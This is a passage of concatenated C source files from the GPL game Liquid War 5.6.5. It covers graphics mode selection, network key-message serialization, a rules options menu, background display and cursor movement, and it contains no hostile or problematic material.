GFX_MODE_TYPE_WINDOWED[] = { GFX_MODEX, GFX_MODEX, GFX_VESA2L, GFX_VESA2L, GFX_VESA2L }; #endif #ifdef WIN32 static int GFX_MODE_TYPE_FULLSCREEN[] = { GFX_DIRECTX, GFX_DIRECTX, GFX_DIRECTX, GFX_DIRECTX, GFX_DIRECTX }; static int GFX_MODE_TYPE_WINDOWED[] = { GFX_DIRECTX_WIN, GFX_DIRECTX_WIN, GFX_DIRECTX_WIN, GFX_DIRECTX_WIN, GFX_DIRECTX_WIN }; #endif #ifdef UNIX #ifdef GP2X static int GFX_MODE_TYPE_FULLSCREEN[] = { GFX_GP2X, GFX_GP2X, GFX_GP2X, GFX_GP2X, GFX_GP2X }; static int GFX_MODE_TYPE_WINDOWED[] = { GFX_GP2X, GFX_GP2X, GFX_GP2X, GFX_GP2X, GFX_GP2X }; #else static int GFX_MODE_TYPE_FULLSCREEN[] = { GFX_AUTODETECT_FULLSCREEN, GFX_AUTODETECT_FULLSCREEN, GFX_AUTODETECT_FULLSCREEN, GFX_AUTODETECT_FULLSCREEN, GFX_AUTODETECT_FULLSCREEN }; static int GFX_MODE_TYPE_WINDOWED[] = { GFX_AUTODETECT_WINDOWED, GFX_AUTODETECT_WINDOWED, GFX_AUTODETECT_WINDOWED, GFX_AUTODETECT_WINDOWED, GFX_AUTODETECT_WINDOWED }; #endif #endif /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int need_to_change_mode (int res1, int res2, int flip) { if (res1 == res2 && !flip) return 0; else return !0; } /*------------------------------------------------------------------*/ static int try_one_mode (int res, int flip, int fullscreen) { int ret; int w1, h1, w2, h2; w1 = GFX_MODE_W[res]; h1 = GFX_MODE_H[res]; w2 = GFX_MODE_W[res]; h2 = flip ? GFX_MODE_H[res] * 2 : GFX_MODE_H[res]; log_print_str ("Changing video mode to "); log_print_int (w1); log_print_str ("x"); log_print_int (h1); if (fullscreen) log_print_str (", fullscreen"); else log_print_str (", windowed"); if (flip) log_print_str (", page flipping enabled"); if (fullscreen) ret = set_gfx_mode (GFX_MODE_TYPE_FULLSCREEN[res], w1, h1, w2, h2); else ret = set_gfx_mode (GFX_MODE_TYPE_WINDOWED[res], w1, h1, w2, h2); if (!ret) { display_success_driver ((char *) gfx_driver->ascii_name); } else { display_success (0); } return ret; } /*------------------------------------------------------------------*/ int set_resolution (int res, int flip, int fullscreen, int *flip_enabled) { int ret = -1; int toggle; int i; #ifdef GP2X fullscreen = 1; #endif if (flip_enabled) { *flip_enabled = 0; } for (toggle = 0; toggle < 2; ++toggle, fullscreen = !fullscreen) { for (i = res; i >= 0 && ret; --i) { if (flip) { ret = try_one_mode (i, 1, fullscreen); if (flip_enabled && !ret) { *flip_enabled = 1; } } if (ret) { ret = try_one_mode (i, 0, fullscreen); } } for (i = res + 1; i < 5 && ret; ++i) { if (flip) { ret = try_one_mode (i, 1, fullscreen); if (flip_enabled && !ret) { *flip_enabled = 1; } } if (ret) { ret = try_one_mode (i, 0, fullscreen); } } } if (!ret) { set_palette (black_palette); if (SCREEN_W >= 640) { font = BIG_FONT; } else { font = SMALL_FONT; } lw_mouse_show (); set_window_title (lw_lang_string (LW_LANG_STRING_APPNAME)); } else { my_exit (EXIT_CODE_GRAPHICS_FAIL); } return (ret); } liquidwar-5.6.5/src/network.h0000664000372000037200000001136613407756104015601 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : network.h */ /* content : various network related stuff */ /* last update : may 8th 2001 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_NETWORK #define LIQUID_WAR_INCLUDE_NETWORK /*==================================================================*/ /* includes */ /*==================================================================*/ #include "base.h" /*==================================================================*/ /* structs */ /*==================================================================*/ typedef struct { int active; int network; int server_id; int control_type; int color; int part; char name[NAME_SIZE + 1]; } LW_WHO; /*==================================================================*/ /* globals */ /*==================================================================*/ extern int LW_NETWORK_ON; extern LW_WHO LW_NETWORK_INFO[NB_TEAMS]; extern int LW_NETWORK_ERROR_DETECTED; extern void *LW_NETWORK_RAW_MAP; /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_network_attribute_colors (); extern void lw_network_attribute_parts (); #endif liquidwar-5.6.5/src/asm.h0000664000372000037200000001073113407756104014663 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : asm.h */ /* contenu : assembly language related stuff */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ASM #define LIQUID_WAR_INCLUDE_ASM /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*==================================================================*/ /* macros */ /*==================================================================*/ #ifdef WIN32 #define LW_ASM_FUNC __cdecl #else /* seems useless... #define LW_ASM_FUNC __attribute__((cdecl)) */ #define LW_ASM_FUNC #endif /*==================================================================*/ /* functions */ /*==================================================================*/ extern int lw_asm_check_struct_align (void); #endif liquidwar-5.6.5/src/netkey.c0000664000372000037200000002237413407756104015403 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netkey.c */ /* content : functions to manipulate network key messages */ /* last update : June 20th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "netkey.h" #include "cursor.h" #include "sock2gen.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETKEY_SERIALIZED_SIZE (NB_TEAMS+2+4) /*==================================================================*/ /* types */ /*==================================================================*/ /* * Used to store the information of a LW_NETKEY struct once it has * been serialized to be sent over the network */ typedef unsigned char LW_NETKEY_SERIALIZED[LW_NETKEY_SERIALIZED_SIZE]; /*==================================================================*/ /* static functions declaration */ /*==================================================================*/ static char int_to_ascii_hexa (int src); static int ascii_hexa_to_int (char src); static void encode (LW_NETKEY_SERIALIZED dst, LW_NETKEY * src); static void decode (LW_NETKEY * dst, LW_NETKEY_SERIALIZED src); /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Creates a blank netkey struct */ void lw_netkey_reset (LW_NETKEY * netkey) { int i; for (i = 0; i < NB_TEAMS; ++i) { netkey->key_states[i] = 0; } netkey->cmd = LW_NETKEY_CMD_NONE; netkey->arg = 0; } /*------------------------------------------------------------------*/ /* * Transforms an integer into a readable hexadecimal ascii character */ static char int_to_ascii_hexa (int src) { char dst; dst = '0'; if (src >= 1 && src <= 9) { dst = '0' + src; } if (src >= 10 && src <= 15) { dst = 'A' - 10 + src; } return dst; } /*------------------------------------------------------------------*/ /* * Transforms a readable hexadecimal ascii character into an integer */ static int ascii_hexa_to_int (char src) { int dst; dst = 0; if (src >= '0' && src <= '9') { dst = src - '0'; } if (src >= 'A' && src <= 'F') { dst = src - 'A' + 10; } return dst; } /*------------------------------------------------------------------*/ /* * Serializes a LW_NETKEY struct to a buffer which is sendable over * the network. */ static void encode (LW_NETKEY_SERIALIZED dst, LW_NETKEY * src) { int i; for (i = 0; i < NB_TEAMS; ++i) { /* * we translate each key press (stored as a logical or between * 1,2,4 and 8) into a readable hexadecimal character. This * makes debugging easier. */ dst[i] = int_to_ascii_hexa (src->key_states[i]); } /* * We store the command as is since it's already a character */ dst[NB_TEAMS] = src->cmd; /* * We transform the argument since we assume it's a numeric arg */ dst[NB_TEAMS + 1] = int_to_ascii_hexa (src->arg); /* * Now we serialize the "map checksum" */ dst[NB_TEAMS + 2 + 0] = (src->checksum) & 0xFF; dst[NB_TEAMS + 2 + 1] = (src->checksum >> 8) & 0xFF; dst[NB_TEAMS + 2 + 2] = (src->checksum >> 16) & 0xFF; dst[NB_TEAMS + 2 + 3] = (src->checksum >> 24) & 0xFF; } /*------------------------------------------------------------------*/ /* * Un-serializes a LW_NETKEY struct from a buffer which has been * received from the network. */ static void decode (LW_NETKEY * dst, LW_NETKEY_SERIALIZED src) { int i; for (i = 0; i < NB_TEAMS; ++i) { /* * we translate each key press (stored as a logical or between * 1,2,4 and 8) from a readable hexadecimal character. This * makes debugging easier. */ dst->key_states[i] = ascii_hexa_to_int (src[i]); } /* * We store the command as is since it's already a character */ dst->cmd = src[NB_TEAMS]; /* * We transform the argument since we assume it's a numeric arg */ dst->arg = ascii_hexa_to_int (src[NB_TEAMS + 1]); /* * Now we serialize the "map checksum" */ dst->checksum = ((unsigned int) src[NB_TEAMS + 2 + 3]) << 24 | ((unsigned int) src[NB_TEAMS + 2 + 2]) << 16 | ((unsigned int) src[NB_TEAMS + 2 + 1]) << 8 | ((unsigned int) src[NB_TEAMS + 2 + 0]); } /*------------------------------------------------------------------*/ /* * Sends a netkey information over the network */ int lw_netkey_send (int *sock, LW_NETKEY * netkey) { int result; LW_NETKEY_SERIALIZED netkey_serialized; encode (netkey_serialized, netkey); result = lw_sock_send_buffer (sock, (char *) netkey_serialized, LW_NETKEY_SERIALIZED_SIZE); return result; } /*------------------------------------------------------------------*/ /* * Receives a netkey information from the network */ int lw_netkey_recv (int *sock, LW_NETKEY * netkey) { int result; LW_NETKEY_SERIALIZED netkey_serialized; result = lw_sock_recv_buffer (sock, (char *) netkey_serialized, LW_NETKEY_SERIALIZED_SIZE); decode (netkey, netkey_serialized); return result; } /*------------------------------------------------------------------*/ /* * Returns true if at leat "num" keys are available on the socket */ int lw_netkey_peek (int *sock, int num) { int result; result = lw_sock_peek (sock, num * LW_NETKEY_SERIALIZED_SIZE); return result; } liquidwar-5.6.5/src/rules.c0000664000372000037200000002224713407756104015235 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : rules.c */ /* contenu : choix des regles de jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "advanced.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "rules.h" #include "sound.h" #include "time.h" #include "lang.h" #include "macro.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ #define LW_RULES_CIS_SIZE 30 #define LW_RULES_TIME_SIZE 14 #define LW_RULES_MMR_SIZE 50 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void write_cis_setting (DIALOG * d) { char *str; str = d->dp; LW_MACRO_SNPRINTF2 (str, LW_RULES_CIS_SIZE, "%s x%d", lw_lang_string (LW_LANG_STRING_RULES_CURSOR), CONFIG_CURSOR_INCREASE_SPEED + 1); } /*------------------------------------------------------------------*/ static int slider_cis (void *dp3, int d2) { DIALOG *d; d = dp3; CONFIG_CURSOR_INCREASE_SPEED = d2; write_cis_setting (d); scare_mouse (); my_textbox_proc (MSG_DRAW, d, 0); unscare_mouse (); play_click (); return 0; } /*------------------------------------------------------------------*/ static void write_time_setting (DIALOG * d) { char *str; str = d->dp; start_play_time (); write_time (TIME_LEFT, str + 8); } /*------------------------------------------------------------------*/ static int slider_time (void *dp3, int d2) { DIALOG *d; d = dp3; CONFIG_GAME_TIME = d2; /* * Following line needed because start_play_time() uses the * value in LW_CONFIG_CURRENT_RULES */ LW_CONFIG_CURRENT_RULES.game_time = CONFIG_GAME_TIME; write_time_setting (d); scare_mouse (); my_textbox_proc (MSG_DRAW, d, 0); unscare_mouse (); play_click (); return 0; } /*------------------------------------------------------------------*/ static void write_mmr_setting (DIALOG * d) { char *str; str = d->dp; LW_MACRO_SNPRINTF3 (str, LW_RULES_MMR_SIZE, "%s%dx%d", lw_lang_string (LW_LANG_STRING_RULES_MINMAPRES), MIN_MAP_RES_W[CONFIG_MIN_MAP_RES], MIN_MAP_RES_H[CONFIG_MIN_MAP_RES]); } /*------------------------------------------------------------------*/ static int slider_mmr (void *dp3, int d2) { DIALOG *d; d = dp3; CONFIG_MIN_MAP_RES = d2; write_mmr_setting (d); scare_mouse (); my_textbox_proc (MSG_DRAW, d, 0); unscare_mouse (); play_click (); return 0; } /*------------------------------------------------------------------*/ int rules_options (void) { int *temp; DIALOG d[15]; int i, choix = 4, retour = 0; static int y_pos[4] = { 0, 1, 2, 3 }; char cis_buffer[LW_RULES_CIS_SIZE]; char time_str[LW_RULES_TIME_SIZE]; char mmr_buffer[LW_RULES_MMR_SIZE]; memset (d, 0, sizeof (d)); LW_MACRO_SPRINTF1 (time_str, "%-8s00:00", lw_lang_string (LW_LANG_STRING_RULES_TIME)); for (i = 0; i < 4; ++i) { standard_button (d + i + 4, 0, y_pos[i], 2, 8); d[i + 4].proc = my_textbox_proc; } for (i = 0; i < 4; ++i) { standard_button (d + i + 8, 1, y_pos[i], 2, 8); d[i + 8].proc = my_slider_proc; } standard_button (d + 12, 0, 5, 1, 8); d[12].dp = lw_lang_string (LW_LANG_STRING_RULES_ADVANCED); standard_button (d + 13, 0, 7, 1, 8); d[13].dp = lw_lang_string (LW_LANG_STRING_RULES_DEFAULT); quick_buttons (d); d[4].dp = time_str; d[5].dp = lw_lang_string (LW_LANG_STRING_RULES_ARMYSIZE); d[6].dp = cis_buffer; d[7].dp = mmr_buffer; d[8].d1 = 16; d[9].d1 = 32; d[10].d1 = 2; d[11].d1 = 8; d[8].dp3 = &CONFIG_GAME_TIME; d[9].dp3 = &CONFIG_FIGHTER_NUMBER; d[10].dp3 = &CONFIG_CURSOR_INCREASE_SPEED; d[11].dp3 = &CONFIG_MIN_MAP_RES; for (i = 8; i < 12; ++i) { d[i].dp = NULL; d[i].dp2 = slider_int; temp = d[i].dp3; d[i].d2 = *temp; } d[8].dp2 = slider_time; d[8].dp3 = d + 4; d[10].dp2 = slider_cis; d[10].dp3 = d + 6; d[11].dp2 = slider_mmr; d[11].dp3 = d + 7; write_time_setting (d + 4); write_cis_setting (d + 6); write_mmr_setting (d + 7); d[14].proc = 0; while (retour == 0) { choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; case 12: retour = advanced_options (); break; case 13: load_default_rules (); /* * Needed because the slider function works in a weird way */ LW_CONFIG_CURRENT_RULES.game_time = CONFIG_GAME_TIME; d[8].d2 = CONFIG_GAME_TIME; d[9].d2 = CONFIG_FIGHTER_NUMBER; d[10].d2 = CONFIG_CURSOR_INCREASE_SPEED; d[11].d2 = CONFIG_MIN_MAP_RES; write_time_setting (d + 4); write_cis_setting (d + 6); write_mmr_setting (d + 7); break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/back.c0000664000372000037200000001112513407756104014774 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : back.c */ /* contenu : utilitaire de gestion de fond d'ecran */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "back.h" #include "disk.h" #include "palette.h" #include "viewport.h" #include "dialog.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void display_a_back_image (BITMAP * bmp) { scare_mouse (); stretch_blit (bmp, screen, 0, 0, bmp->w, bmp->h, 0, PAGE_FLIP_H, SCREEN_W, SCREEN_H); unscare_mouse (); } /*------------------------------------------------------------------*/ void display_back_image (void) { display_a_back_image (BACK_IMAGE); } liquidwar-5.6.5/src/army.h0000664000372000037200000001104513407756104015052 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : army.h */ /* contenu : placement des armees */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ARMY #define LIQUID_WAR_INCLUDE_ARMY /*==================================================================*/ /* constantes */ /*==================================================================*/ #define MAX_FIGHTER_HEALTH 16384 /*==================================================================*/ /* includes */ /*==================================================================*/ #include "area.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern FIGHTER *CURRENT_ARMY; extern int CURRENT_ARMY_SIZE; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void place_all_team (void); void test_army (void); int create_army (void); #endif liquidwar-5.6.5/src/move.c0000664000372000037200000004052113407756104015044 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : move.c */ /* contenu : deplacement des curseurs */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "area.h" #include "autoplay.h" #include "config.h" #include "cursor.h" #include "joystick.h" #include "keyboard.h" #include "mesh.h" #include "mouse.h" #include "move.h" #include "time.h" #include "keyexch.h" #include "network.h" #include "checksum.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define LW_MOVE_SIDE_LIMIT 10 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * moves a cursor in a given direction if the place is free * one just has to give the x & y values of the cursors as params */ static int move_if_free (int *x, int *y, int dir) { int moved = 0; /* * we check if the direction is between 1 and 8 * if not force it into this range */ while (dir > 8) dir -= 8; while (dir < 1) dir += 8; /* * switch between all dirs * in all the cases, the method is the same, we check if * there's a mesh pointer defined for the target position * if yes, this implies there are no walls. check area.c and mesh.c * to understand while testing the mesh attribute is OK. * then we keep track of the result of the move, for later * we'll need to know if the cursor has really been moved * this result is stored in the moved value */ switch (dir) { /* * trying to go NORTH */ case 1: if (CURRENT_AREA[((*y) - 1) * CURRENT_AREA_W + (*x)].mesh) { (*y)--; moved = 1; } break; /* * trying to go NORTH EAST */ case 2: if (CURRENT_AREA[((*y) - 1) * CURRENT_AREA_W + (*x) + 1].mesh) { (*y)--; (*x)++; moved = 1; } break; /* * trying to go EAST */ case 3: if (CURRENT_AREA[(*y) * CURRENT_AREA_W + (*x) + 1].mesh) { (*x)++; moved = 1; } break; /* * trying to go SOUTH EAST */ case 4: if (CURRENT_AREA[((*y) + 1) * CURRENT_AREA_W + (*x) + 1].mesh) { (*x)++; (*y)++; moved = 1; } break; /* * trying to go SOUTH */ case 5: if (CURRENT_AREA[((*y) + 1) * CURRENT_AREA_W + (*x)].mesh) { (*y)++; moved = 1; } break; /* * trying to go SOUTH WEST */ case 6: if (CURRENT_AREA[((*y) + 1) * CURRENT_AREA_W + (*x) - 1].mesh) { (*y)++; (*x)--; moved = 1; } break; /* * trying to go WEST */ case 7: if (CURRENT_AREA[(*y) * CURRENT_AREA_W + (*x) - 1].mesh) { (*x)--; moved = 1; } break; /* * trying to go NORTH WEST */ case 8: if (CURRENT_AREA[((*y) - 1) * CURRENT_AREA_W + (*x) - 1].mesh) { (*x)--; (*y)--; moved = 1; } } return moved; } /*------------------------------------------------------------------*/ /* * moves a cursor * in fact it interprets the key_state value , calculates the * direction to use and then calls move_if_free */ static void move_cursor (int indice) { int dir = 0, up, down, right, left, horiz = 0, vert = 0, moved = 0, team; char key_state; MESH *mesh; /* * we get the team associated to the cursor */ team = CURRENT_CURSOR[indice].team; /* * we get the mesh item associated to the current position of the cursor */ mesh = CURRENT_AREA[CURRENT_CURSOR[indice].y * CURRENT_AREA_W + CURRENT_CURSOR[indice].x].mesh; /* * we tell the mesh that the info won't be up to date anymore concerning * this position */ mesh->info[team].update.time = -1; /* * the key_state value gives the state of all pressed/unpressed keys */ key_state = CURRENT_CURSOR[indice].key_state; /* * we interpret the content of the key_state value with binary masks */ up = key_state & CURSOR_KEY_UP; right = key_state & CURSOR_KEY_RIGHT; down = key_state & CURSOR_KEY_DOWN; left = key_state & CURSOR_KEY_LEFT; /* * if both left and right keys are pressed, no horizontal move! */ if ((right && left) || ((!right) && (!left))) horiz = 0; /* * if right key is pressed but not left key, let's go right */ if (right && (!left)) horiz = 1; /* * if left key is pressed but not right key, let's go left */ if ((!right) && left) horiz = -1; /* * if both up and down keys are pressed, no verical move! */ if ((up && down) || ((!up) && (!down))) vert = 0; /* * if up key is pressed but not down key, let's go up */ if (up && (!down)) vert = -1; /* * if down key is pressed but not up key, let's go down */ if ((!up) && down) vert = 1; /* * the cursor does not move at all */ if (horiz == 0 && vert == 0) dir = 0; /* * the cursor heads NORTH */ if (horiz == 0 && vert == -1) dir = 1; /* * the cursor heads NORTH EAST */ if (horiz == 1 && vert == -1) dir = 2; /* * the cursor heads EAST */ if (horiz == 1 && vert == 0) dir = 3; /* * the cursor heads SOUTH EAST */ if (horiz == 1 && vert == 1) dir = 4; /* * the cursor heads SOUTH */ if (horiz == 0 && vert == 1) dir = 5; /* * the cursor heads SOUTH WEST */ if (horiz == -1 && vert == 1) dir = 6; /* * the cursor heads WEST */ if (horiz == -1 && vert == 0) dir = 7; /* * the cursor heads NORTH WEST */ if (horiz == -1 && vert == -1) dir = 8; /* * if no direction has been found, we do nothing */ if (dir) { /* * we first try to move in the direction we have calculated */ moved = move_if_free (&(CURRENT_CURSOR[indice].x), &(CURRENT_CURSOR[indice].y), dir); /* * if it did not work, we try another direction * for instance if the direction was NORTH WEST we try WEST */ if (!moved) moved = move_if_free 